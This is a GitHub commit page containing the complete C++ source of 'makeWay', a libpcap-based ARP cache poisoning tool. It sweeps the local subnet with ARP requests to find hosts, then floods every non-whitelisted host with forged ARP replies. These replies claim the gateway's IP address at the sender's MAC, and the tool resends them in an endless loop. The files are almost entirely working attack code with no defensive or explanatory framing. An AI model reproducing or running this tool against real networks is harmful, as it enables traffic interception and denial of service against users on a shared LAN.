Skip to content
Browse files

Initial Import

  • Loading branch information...
0 parents commit 5658f2af53ef950fa07ad3e5d00fcb927c5fc578 @nakkaya nakkaya committed May 26, 2009
Showing with 722 additions and 0 deletions.
  1. +63 −0 ArpFactory.cpp
  2. +28 −0 ArpFactory.h
  3. +7 −0 Host.h
  4. +26 −0 Makefile
  5. +183 −0 NetworkInterface.cpp
  6. +33 −0 NetworkInterface.h
  7. +247 −0 makeWay.cpp
  8. +41 −0 network.h
  9. +80 −0 util.cpp
  10. +14 −0 util.h
63 ArpFactory.cpp
@@ -0,0 +1,63 @@
+#include "ArpFactory.h"
+
+void ArpFactory::setArpOpCode( uint16_t oc ){
+ opcode = oc;
+ }
+
+ void ArpFactory::setArpIP( uint8_t src_ip[4] , uint8_t tgt_ip[4] ){
+ for(int i = 0 ; i<4 ; i++ ){
+ arp_src.src_ip[i] = src_ip[i];
+ arp_src.tgt_ip[i] = tgt_ip[i];
+ }
+ }
+
+ void ArpFactory::setArpMAC( uint8_t src_mac[6] , uint8_t tgt_mac[6] ){
+ for(int i = 0 ; i<6 ; i++ ){
+ arp_src.src_mac[i] = src_mac[i];
+ arp_src.tgt_mac[i] = tgt_mac[i];
+ }
+ }
+
+ void ArpFactory::setEthMAC( uint8_t src_mac[6] , uint8_t tgt_mac[6] ){
+ for(int i = 0 ; i<6 ; i++ ){
+ eth_src.h_source[i] = src_mac[i];
+ eth_src.h_dest[i] = tgt_mac[i];
+ }
+ }
+
+ char* ArpFactory::create(){
+ packet = (char*)malloc(sizeof(struct ether_hdr) + sizeof(struct arp_hdr));
+
+ struct ether_hdr eth_frame;
+ struct arp_hdr arp_frame;
+
+ memcpy(eth_frame.h_dest, eth_src.h_dest, 6);
+ memcpy(eth_frame.h_source, eth_src.h_source, 6);
+
+// printMAC("eth_frame.h_dest" , eth_src.h_dest );
+// printMAC("eth_frame.h_source" , eth_src.h_source );
+
+ eth_frame.h_proto = htons(ARP_PROTO);
+
+ arp_frame.htype = htons(HW_ETHER);
+ arp_frame.proto = htons(IP_PROTO);
+ arp_frame.hsize = HW_SIZE;
+ arp_frame.psize = PROTO_SIZE;
+ arp_frame.opcode = htons(opcode);
+
+ memcpy(arp_frame.src_mac, arp_src.src_mac, 6);
+ memcpy(arp_frame.src_ip, arp_src.src_ip, 4);
+ memcpy(arp_frame.tgt_mac, arp_src.tgt_mac, 6);
+ memcpy(arp_frame.tgt_ip, arp_src.tgt_ip, 4);
+
+// printIP("arp_src.src_ip" , arp_src.src_ip );
+// printMAC("arp_src.src_mac" , arp_src.src_mac );
+
+// printIP("arp_src.tgt_ip" , arp_src.tgt_ip );
+// printMAC("arp_src.tgt_mac" , arp_src.tgt_mac );
+
+ memcpy(packet, &eth_frame, sizeof(struct ether_hdr));
+ memcpy(packet + sizeof(struct ether_hdr), &arp_frame, sizeof(struct arp_hdr));
+
+ return packet;
+ }
28 ArpFactory.h
@@ -0,0 +1,28 @@
+#include <stdlib.h>
+#include <string.h>
+
+#include <iostream>
+#include <vector>
+
+//htons linux
+#include <sys/types.h>
+#include <netinet/in.h>
+
+#include <pcap.h>
+#include "Host.h"
+#include "network.h"
+
+class ArpFactory{
+private:
+ struct arp_hdr arp_src;
+ struct ether_hdr eth_src;
+ uint16_t opcode;
+ char *packet;
+
+public:
+ void setArpOpCode( uint16_t oc );
+ void setArpIP( uint8_t src_ip[4] , uint8_t tgt_ip[4] );
+ void setArpMAC( uint8_t src_mac[6] , uint8_t tgt_mac[6] );
+ void setEthMAC( uint8_t src_mac[6] , uint8_t tgt_mac[6] );
+ char* create();
+};
7 Host.h
@@ -0,0 +1,7 @@
+using namespace std;
+
+class Host{
+ public:
+ string ip;
+ string mac;
+};
26 Makefile
@@ -0,0 +1,26 @@
+objects = build/util.o build/NetworkInterface.o build/ArpFactory.o build/makeWay.o
+CC = g++ -Wall
+
+darwin : util NetworkInterfaceDarwin ArpFactory driverDarwin
+ $(CC) -lpcap $(objects) -o build/makeWay
+linux : util NetworkInterfaceLinux ArpFactory driverLinux
+ $(CC) -lpcap $(objects) -o build/makeWay
+
+driverDarwin: makeWay.cpp
+ $(CC) -DOS_DARWIN -c makeWay.cpp -o build/makeWay.o
+driverLinux: makeWay.cpp
+ $(CC) -DOS_LINUX -c makeWay.cpp -o build/makeWay.o
+
+NetworkInterfaceDarwin: NetworkInterface.cpp
+ $(CC) -DOS_DARWIN -c NetworkInterface.cpp -o build/NetworkInterface.o
+NetworkInterfaceLinux: NetworkInterface.cpp
+ $(CC) -DOS_LINUX -c NetworkInterface.cpp -o build/NetworkInterface.o
+
+util: util.cpp
+ $(CC) -c util.cpp -o build/util.o
+
+ArpFactory: ArpFactory.cpp
+ $(CC) -c ArpFactory.cpp -o build/ArpFactory.o
+
+clean:
+ rm -rf build/*o build/makeWay
183 NetworkInterface.cpp
@@ -0,0 +1,183 @@
+#include "NetworkInterface.h"
+
+NetworkInterface::NetworkInterface( const char* dv ){
+ dev = dv;
+}
+
+#ifdef OS_DARWIN
+std::string NetworkInterface::getLocalGateway( ){
+
+ struct in_addr gatewayaddr;
+ in_addr_t * addr = &(gatewayaddr.s_addr);
+
+ //in_addr_t * addr;
+ int mib[] = {CTL_NET, PF_ROUTE, 0, AF_INET,
+ NET_RT_FLAGS, RTF_GATEWAY};
+ size_t l;
+ char * buf, * p;
+ struct rt_msghdr * rt;
+ struct sockaddr * sa;
+ struct sockaddr * sa_tab[RTAX_MAX];
+ int i;
+ if(sysctl(mib, sizeof(mib)/sizeof(int), 0, &l, 0, 0) < 0) {
+ return std::string("Unknown");
+ }
+
+ if(l>0) {
+ buf = (char*)malloc(l);
+ if(sysctl(mib, sizeof(mib)/sizeof(int), buf, &l, 0, 0) < 0) {
+ free(buf);
+ return std::string("Unknown");
+ }
+ for(p=buf; p<buf+l; p+=rt->rtm_msglen) {
+ rt = (struct rt_msghdr *)p;
+ sa = (struct sockaddr *)(rt + 1);
+ for(i=0; i<RTAX_MAX; i++) {
+ if(rt->rtm_addrs & (1 << i)) {
+ sa_tab[i] = sa;
+ sa = (struct sockaddr *)((char *)sa + sa->sa_len);
+ } else {
+ sa_tab[i] = NULL;
+ }
+ }
+ if( ((rt->rtm_addrs & (RTA_DST|RTA_GATEWAY)) == (RTA_DST|RTA_GATEWAY))
+ && sa_tab[RTAX_DST]->sa_family == AF_INET
+ && sa_tab[RTAX_GATEWAY]->sa_family == AF_INET) {
+ if(((struct sockaddr_in *)sa_tab[RTAX_DST])->sin_addr.s_addr == 0) {
+ *addr = ((struct sockaddr_in *)(sa_tab[RTAX_GATEWAY]))->sin_addr.s_addr;
+ }
+ }
+ }
+
+ free(buf);
+ }
+
+ return IPtoString((uint8_t*)addr);
+}
+#endif
+
+#ifdef OS_LINUX
+std::string NetworkInterface::getLocalGateway( ){
+ struct in_addr gatewayaddr;
+ in_addr_t * addr = &(gatewayaddr.s_addr);
+
+ long d, g;
+ char buf[256];
+ int line = 0;
+ FILE * f;
+ char * p;
+ f = fopen("/proc/net/route", "r");
+ if(!f)
+ return "Unknown";
+ while(fgets(buf, sizeof(buf), f)) {
+ if(line > 0) {
+ p = buf;
+ while(*p && !isspace(*p))
+ p++;
+ while(*p && isspace(*p))
+ p++;
+ if(sscanf(p, "%lx%lx", &d, &g)==2) {
+ if(d == 0) { /* default */
+ *addr = g;
+ fclose(f);
+ return IPtoString((uint8_t*)addr);
+ }
+ }
+ }
+ line++;
+ }
+ /* default route not found ! */
+ if(f)
+ fclose(f);
+ return "Unknown";
+}
+#endif
+
+
+/* Given a ifreq structure this function returns its IP address */
+std::string NetworkInterface::getLocalIP( ){
+
+ struct ifreq ifr;
+ char netaddr[INET_ADDRSTRLEN];
+ int sd;
+ sd=socket(AF_INET,SOCK_DGRAM,0);
+ strcpy(ifr.ifr_name, dev );
+ if((ioctl(sd,SIOCGIFADDR,(caddr_t)&ifr,sizeof(struct ifreq)))<0)
+ perror("Error : ");
+
+
+ struct sockaddr *sa;
+ sa=(struct sockaddr *)&(ifr.ifr_addr);
+ switch(sa->sa_family){
+ case AF_INET6:
+ inet_ntop(AF_INET6,(struct in6_addr *)&(((struct sockaddr_in6 *)sa)->sin6_addr),
+ netaddr,INET6_ADDRSTRLEN);
+ break;
+ default : strcpy(netaddr,inet_ntoa(((struct sockaddr_in *)sa)->sin_addr));
+ }
+
+ std::string ip(netaddr);
+ return ip;
+}
+
+#ifdef OS_DARWIN
+std::string NetworkInterface::getLocalMAC(){
+ int mib[6];
+ size_t len;
+ char *buf;
+ unsigned char *ptr;
+ struct if_msghdr *ifm;
+ struct sockaddr_dl *sdl;
+
+ mib[0] = CTL_NET;
+ mib[1] = AF_ROUTE;
+ mib[2] = 0;
+ mib[3] = AF_LINK;
+ mib[4] = NET_RT_IFLIST;
+
+ if ((mib[5] = if_nametoindex(dev)) == 0) {
+ perror("if_nametoindex error");
+ exit(2);
+ }
+
+ if (sysctl(mib, 6, NULL, &len, NULL, 0) < 0) {
+ perror("sysctl 1 error");
+ exit(3);
+ }
+
+ if ((buf = (char *)malloc(len)) == NULL) {
+ perror("malloc error");
+ exit(4);
+ }
+
+ if (sysctl(mib, 6, buf, &len, NULL, 0) < 0) {
+ perror("sysctl 2 error");
+ exit(5);
+ }
+
+ ifm = (struct if_msghdr *)buf;
+ sdl = (struct sockaddr_dl *)(ifm + 1);
+ ptr = (unsigned char *)LLADDR(sdl);
+
+ return MACtoString( ptr );
+}
+#endif
+
+#ifdef OS_LINUX
+std::string NetworkInterface::getLocalMAC(){
+
+ int fd;
+ struct ifreq ifr;
+
+ fd = socket(AF_INET, SOCK_DGRAM, 0);
+
+ ifr.ifr_addr.sa_family = AF_INET;
+ strncpy(ifr.ifr_name, "eth0", IFNAMSIZ-1);
+
+ ioctl(fd, SIOCGIFHWADDR, &ifr);
+
+ close(fd);
+
+ return MACtoString((uint8_t*)ifr.ifr_hwaddr.sa_data);
+}
+#endif
33 NetworkInterface.h
@@ -0,0 +1,33 @@
+#include <errno.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <iostream>
+#include <vector>
+#include <math.h>
+#include <sys/ioctl.h>
+#include <net/if.h>
+#include <sys/sysctl.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include "util.h"
+#include <string.h>
+
+#ifdef OS_DARWIN
+#include <net/if_dl.h>
+#include <stdlib.h>
+#include <sys/sysctl.h>
+#include <sys/socket.h>
+#include <net/route.h>
+#endif
+
+class NetworkInterface{
+private:
+ const char* dev;
+public:
+ NetworkInterface(const char* dv);
+ std::string getLocalGateway();
+ std::string getLocalIP();
+ std::string getLocalMAC();
+};
247 makeWay.cpp
@@ -0,0 +1,247 @@
+#include <pcap.h> /* GIMME a libpcap plz! */
+#include <iostream>
+#include <vector>
+#include <map>
+
+//custom functions...
+#include "util.h"
+#include "ArpFactory.h"
+#include "NetworkInterface.h"
+
+using namespace std;
+time_t lastAdded;
+
+void arpListener(u_char *argv,const struct pcap_pkthdr* pkthdr,const u_char* packet){
+
+ struct ether_hdr *eptr = (struct ether_hdr *) packet;
+ struct pcapLoopHandler *handler = (struct pcapLoopHandler *) argv;
+
+ if ( eptr->h_proto == htons(ARP_PROTO) ){
+ //get arp packet
+ struct arp_hdr *aptr =(arp_hdr*) (packet + sizeof(struct ether_hdr));
+
+ Host host;
+ host.ip = IPtoString(aptr->src_ip);
+ host.mac = MACtoString( aptr->src_mac );
+
+ bool found = false;
+ for(unsigned int i=0; i< handler->targetList.size(); i++){
+ Host h = handler->targetList.at(i);
+ if (h.ip.compare(host.ip) == 0 )
+ found = true;
+ }
+
+ if ( found == false ){
+ cout<< "[+] " << host.ip << " is at " << host.mac <<endl;
+ lastAdded = time (NULL);
+ handler->targetList.push_back(host);
+ }
+
+ time_t t = time (NULL);
+ time_t elapsed = (t - lastAdded );
+ if ( elapsed > 1 ){
+ pcap_breakloop( handler->ph );
+ }
+ }
+}
+
+void arpSweep( pcap_t *ph , ArpFactory &arpFactory ,
+ string localMAC , string localIP , vector<Host> &targetList ){
+ cout<< "[+] Finding Hosts" <<endl;
+
+ uint8_t lcl_mac[6] = {0x01, 0x14, 0xcc, 0x94, 0x7f, 0xf1};
+ StringtoMAC( localMAC , lcl_mac );
+
+ uint8_t src_ip[4] = {0, 0, 0, 0};
+ StringtoIP( localIP , src_ip );
+
+ pid_t pid;
+ pid = fork();
+ if (pid == 0) {
+ //child
+ uint8_t tgt_ip[4] = {0, 0, 0, 0};
+ StringtoIP( localIP , tgt_ip );
+ uint8_t tgt_mac[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
+
+ for(int i = 0; i<255 ; i++ ){
+ tgt_ip[3] = i;
+
+ arpFactory.setEthMAC( lcl_mac , tgt_mac );
+ arpFactory.setArpOpCode( ARP_REQUEST );
+ arpFactory.setArpIP( src_ip , tgt_ip );
+ arpFactory.setArpMAC( lcl_mac , tgt_mac );
+
+ char *npacket = arpFactory.create();
+ pcap_inject
+ (ph, npacket, sizeof(struct ether_hdr) + sizeof(struct arp_hdr));
+ }
+
+ exit(0);
+ }else {
+ //paren
+ struct pcapLoopHandler handler;
+ //(struct pcapLoopHandler*)malloc(sizeof(pcapLoopHandler));
+ handler.arpListenerRunningFor = time (NULL);
+ handler.ph = ph;
+ handler.targetList = targetList;
+
+ pcap_loop( ph , -1 , arpListener , (u_char*) &handler);
+ targetList = handler.targetList;
+ }
+}
+
+map<string,string> parseCommandLineArguments(int argc,
+ char **argv,
+ vector<string> &whiteList ){
+ if ( argc <= 1 ){
+ cout<< "makeWay v 1.0" <<endl;
+ cout<< "usage: interface [scan] [ whiteListIPs ] " <<endl;
+ exit(0);
+ }
+
+ //parse command line arguments
+ map<string,string> options;
+
+ string interface(argv[1]);
+ options["interface"] = interface;
+ options["injectInterval"] = "3";
+
+ cout<< argc <<endl;
+
+ if (argc > 2 ){
+ string scan(argv[2]);
+ if (scan.compare("scan") == 0 ){
+ options["scan"] = "true";
+ options["injectInterval"] = "3";
+ return options;
+ }else{
+ options["scan"] = "false";
+ }
+
+ //check for timing
+ string time(argv[2]);
+ int indexOfWhiteList = 2;
+ if (scan.compare("-t") == 0 ){
+ options["injectInterval"] = argv[3];
+ indexOfWhiteList+=2;
+ }
+
+ if ( argc >= indexOfWhiteList ){
+ cout<< "[+] Adding Whitelisted IPs" << endl;
+ for( int i = indexOfWhiteList ; i < argc ; i++ ){
+ string ip(argv[i]);
+ whiteList.push_back( ip );
+ cout<< "[+] Added " << ip <<endl;
+ }
+ }
+ }
+
+ return options;
+}
+
+
+int main(int argc, char **argv){
+ pcap_t *ph;
+ int ret; /* return code */
+ char errbuf[PCAP_ERRBUF_SIZE];
+ bpf_u_int32 netp; /* ip */
+ bpf_u_int32 maskp;/* subnet mask */
+ ArpFactory arpFactory;
+ vector<string> whiteList;
+ vector<Host> targetList;
+ map<string,string> options = parseCommandLineArguments( argc, argv , whiteList );
+
+ //get which interface to use
+ string interface = options["interface"];
+ char dev[interface.size() ]; //device to use
+ for(unsigned int i = 0; i< interface.size(); i++ )
+ dev[i] = interface[i];
+ dev[interface.size()] = '\0';
+
+ NetworkInterface networkInterface(dev);
+
+ string gatewayIP = networkInterface.getLocalGateway();
+ string localMac = networkInterface.getLocalMAC();
+ string localIP = networkInterface.getLocalIP();
+
+ int injectInterval = parseInt( options["injectInterval"] );
+ cout<< "[+] Gateway IP " << gatewayIP <<endl;
+ cout<< "[+] Local MAC " << localMac <<endl;
+ cout<< "[+] Local IP " << localIP <<endl;
+ cout<< "[+] Inject Interval " << injectInterval << " Seconds" <<endl;
+
+ //do not poison self and gateway
+ whiteList.push_back(gatewayIP);
+ whiteList.push_back(localIP);
+
+
+ /* print out device name */
+ printf("[+] Using Interface %s\n",dev);
+ /* ask pcap for the network address and mask of the device */
+ ret = pcap_lookupnet(dev,&netp,&maskp,errbuf);
+ if(ret == -1) {
+ printf("%s\n",errbuf);
+ exit(1);
+ }
+
+ cout<< "[+] Opening Device" <<endl;
+ ph = pcap_open_live(dev, BUFSIZ, 1, 10000, errbuf);
+ if(ph == NULL) {
+ printf("pcap_open_live(): %s\n",errbuf); exit(1);
+ }
+
+ arpSweep( ph , arpFactory , localMac , localIP , targetList );
+ cout<< "[+] Found " << targetList.size() << " hosts." <<endl;
+
+ if (options["scan"].compare("true") == 0 )
+ exit(0);
+
+
+ cout<< "[+] Injecting Package" <<endl;
+ uint8_t lcl_mac[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
+ StringtoMAC( localMac , lcl_mac);
+
+ uint8_t src_ip[4] = {0, 0, 0, 0};
+ StringtoIP( gatewayIP , src_ip );
+
+ vector<char *> packetList;
+ for( unsigned int i = 0; i<targetList.size() ; i++ ){
+ //create custom arp packets for target
+ Host host = targetList.at(i);
+
+ bool found = false;
+ for(unsigned int m = 0; m<whiteList.size(); m++ ){
+ if ( host.ip.compare( whiteList.at(m) ) == 0 ){
+ found = true;
+ }
+ }
+ if (found == true )
+ continue;
+
+ uint8_t tgt_ip[4] = {0, 0, 0, 0};
+ StringtoIP( host.ip , tgt_ip );
+
+ uint8_t tgt_mac[6] = {0x01, 0x14, 0xcc, 0x94, 0x7f, 0xf1};
+ StringtoMAC( host.mac , tgt_mac );
+
+ arpFactory.setEthMAC( lcl_mac , tgt_mac );
+ arpFactory.setArpOpCode( ARP_REPLY );
+ arpFactory.setArpIP( src_ip , tgt_ip );
+ arpFactory.setArpMAC( tgt_mac , tgt_mac );
+
+ char *npacket = arpFactory.create();
+ packetList.push_back(npacket);
+ }
+
+ while(true){
+
+ for(unsigned int i=0; i<packetList.size() ; i++){
+ char* packet = packetList.at(i);
+
+ pcap_inject
+ (ph, packet, sizeof(struct ether_hdr) + sizeof(struct arp_hdr));
+ }
+ sleep( injectInterval );
+ }
+ return 0;
+}
41 network.h
@@ -0,0 +1,41 @@
+// ARP protocol constants
+#define ARP_PROTO 0x0806
+#define IP_PROTO 0x0800
+
+#define HW_ETHER 0x0001
+#define HW_SIZE 0x06
+
+#define PROTO_SIZE 0x04
+
+// ARP opcode constants
+#define ARP_REQUEST 0x0001
+#define ARP_REPLY 0x0002
+#define RARP_REQUEST 0x0003
+#define RARP_REPLY 0x0004
+
+// ethernet frame definition
+struct ether_hdr{
+ uint8_t h_dest[6];
+ uint8_t h_source[6];
+ uint16_t h_proto;
+};
+
+// arp frame definition
+struct arp_hdr{
+ uint16_t htype;
+ uint16_t proto;
+ uint8_t hsize;
+ uint8_t psize;
+ uint16_t opcode;
+ uint8_t src_mac[6];
+ uint8_t src_ip[4];
+ uint8_t tgt_mac[6];
+ uint8_t tgt_ip[4];
+};
+
+//struct to pass to pcap_loop
+struct pcapLoopHandler{
+ pcap_t *ph;
+ time_t arpListenerRunningFor;
+ vector<Host> targetList;
+};
80 util.cpp
@@ -0,0 +1,80 @@
+#include <arpa/inet.h>
+#include <vector>
+#include <sstream>
+#include <iostream>
+using namespace std;
+
+vector<string> StringSplit(string str, string delim){
+ vector<string> results;
+ unsigned int cutAt;
+ while( (cutAt = str.find_first_of(delim)) != str.npos ){
+
+ if(cutAt > 0){
+ results.push_back(str.substr(0,cutAt));
+ }
+ str = str.substr(cutAt+1);
+
+ }
+ if(str.length() > 0){
+ results.push_back(str);
+ }
+ return results;
+}
+
+
+int parseInt(const string &num){
+ stringstream ss(num);
+ int n;
+ ss >> n;
+ return n;
+}
+
+int parseHex(const string &num){
+ stringstream ss(num);
+ ss << std::hex;
+ int n;
+ ss >> n;
+
+ return n;
+}
+
+void printMAC( char * name , uint8_t mac[6] ){
+ printf("(*) ");
+ printf( name );
+ printf(" %x:%x:%x:%x:%x:%x\n",
+ mac[0], mac[1], mac[2], mac[3], mac[4], mac[5] );
+}
+
+void printIP( char * name , uint8_t ip[4] ){
+ printf("(*) ");
+ printf( name );
+ printf(" %i.%i.%i.%i\n",
+ ip[0], ip[1], ip[2], ip[3] );
+}
+
+string MACtoString( uint8_t mac[6] ){
+ char m[17];
+ sprintf( m , "%x:%x:%x:%x:%x:%x",
+ mac[0], mac[1], mac[2], mac[3], mac[4], mac[5] );
+ return string(m);
+}
+
+string IPtoString( uint8_t mac[6] ){
+ char m[15];
+ sprintf( m , "%i.%i.%i.%i", mac[0], mac[1], mac[2], mac[3] );
+ return string(m);
+}
+
+void StringtoIP( string s ,uint8_t* ip ){
+ vector<string> v = StringSplit( s , "." );
+ for( unsigned int j = 0 ; j < v.size() ; j++ ){
+ ip[j] = parseInt(v.at(j));
+ }
+}
+
+void StringtoMAC(string s,uint8_t* mac ){
+ vector<string> v = StringSplit( s , ":" );
+ for( unsigned int j = 0 ; j < v.size() ; j++ ){
+ mac[j] = parseHex(v.at(j));
+ }
+}
14 util.h
@@ -0,0 +1,14 @@
+using namespace std;
+
+int parseHex(const string &num);
+int parseInt(const string &num);
+
+vector<string> StringSplit(string str, string deli);
+
+void printMAC( char * name , uint8_t mac[6] );
+void printIP( char * name , uint8_t ip[4] );
+
+string MACtoString( uint8_t mac[6] );
+string IPtoString( uint8_t mac[6] );
+void StringtoIP( string s ,uint8_t* ip );
+void StringtoMAC(string s,uint8_t* mac );

0 comments on commit 5658f2a

Please sign in to comment.
Something went wrong with that request. Please try again.